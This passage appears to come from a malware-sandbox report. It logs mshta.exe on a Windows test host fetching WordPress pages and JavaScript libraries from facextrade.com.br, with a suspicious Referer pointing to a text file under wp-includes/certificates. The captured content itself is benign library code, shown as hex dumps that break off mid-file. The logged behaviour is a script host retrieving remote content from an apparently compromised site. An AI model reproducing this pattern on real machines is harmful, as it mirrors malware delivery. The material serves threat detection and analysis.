6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
Aug 16, 2022 11:49:55.450539112 CEST	866	IN	Data Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
Aug 16, 2022 11:49:55.450545073 CEST	867	IN	Data Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
Aug 16, 2022 11:49:55.450565100 CEST	868	IN	Data Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
Aug 16, 2022 11:49:55.451751947 CEST	870	IN	Data Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1
Aug 16, 2022 11:49:55.451793909 CEST	871	IN	Data Raw: 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 Data Ascii: ont-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' />
Aug 16, 2022 11:49:55.451826096 CEST	872	IN	Data Raw: 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f Data Ascii: .css?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='
Aug 16, 2022 11:49:55.451853037 CEST	872	IN	Data Raw: 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 Data Ascii: avascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:49:55.457166910 CEST	874	IN	Data Raw: 30 30 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c Data Ascii: 00107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/
Aug 16, 2022 11:49:55.457221031 CEST	875	IN	Data Raw: 74 73 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 Data Ascii: ts/js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://f
Aug 16, 2022 11:49:55.662098885 CEST	891	IN	Data Raw: 55 52 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 Data Ascii: URL ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://face

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49199	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:55.244793892 CEST	863	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:55.460408926 CEST	877	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:25 GMT Server: Apache ETag: "a51459-15f88-5c93d38d98e41" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 89992 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17189338 21588186 Age: 150 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE //* * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes /;(function($, window, document, undefined) {/* * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement\|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options /function Owl(element, options) {/* * Current settings for the carousel. * @public /this.settings = null;/* * Current options set by the caller including defaults. * @public */this.options = $.extend({}, O
Aug 16, 2022 11:49:55.460434914 CEST	878	IN	Data Raw: 77 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d Data Ascii: wl.Defaults, options);/** * Plugin element. * @public /this.$element = $(element);/* * Proxied event handlers. * @protected /this._handlers = {};/* * References to the running plugins of this carousel
Aug 16, 2022 11:49:55.460457087 CEST	880	IN	Data Raw: 65 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20 Data Ascii: ected /this._invalidated = {};/* * Ordered list of workers for the update process. * @protected /this._pipe = [];/* * Current state information for the drag operation. * @todo #261 * @protected */th
Aug 16, 2022 11:49:55.460479021 CEST	881	IN	Data Raw: 20 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65 Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsiv
Aug 16, 2022 11:49:55.460500956 CEST	882	IN	Data Raw: 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f Data Ascii: ', 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fi
Aug 16, 2022 11:49:55.460522890 CEST	884	IN	Data Raw: 09 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70 Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &
Aug 16, 2022 11:49:55.460546017 CEST	885	IN	Data Raw: 6f 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 Data Ascii: oordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coor
Aug 16, 2022 11:49:55.460567951 CEST	887	IN	Data Raw: 2e 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 Data Ascii: ._current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
Aug 16, 2022 11:49:55.460587978 CEST	888	IN	Data Raw: 3c 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29 Data Ascii: <' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
Aug 16, 2022 11:49:55.460611105 CEST	890	IN	Data Raw: 65 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73 Data Ascii: ent.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWid
Aug 16, 2022 11:49:55.676211119 CEST	902	IN	Data Raw: 09 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding
Aug 16, 2022 11:49:56.248925924 CEST	1026	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:56.468581915 CEST	1064	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:25 GMT Server: Apache ETag: "a5146a-bbe-5c93d38d9c220" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 3006 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796833 23959549 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
Aug 16, 2022 11:49:56.470741987 CEST	1067	OUT	GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:56.684601068 CEST	1090	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:25 GMT Server: Apache ETag: "a534d0-1c1f-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 7199 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796835 23959551 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 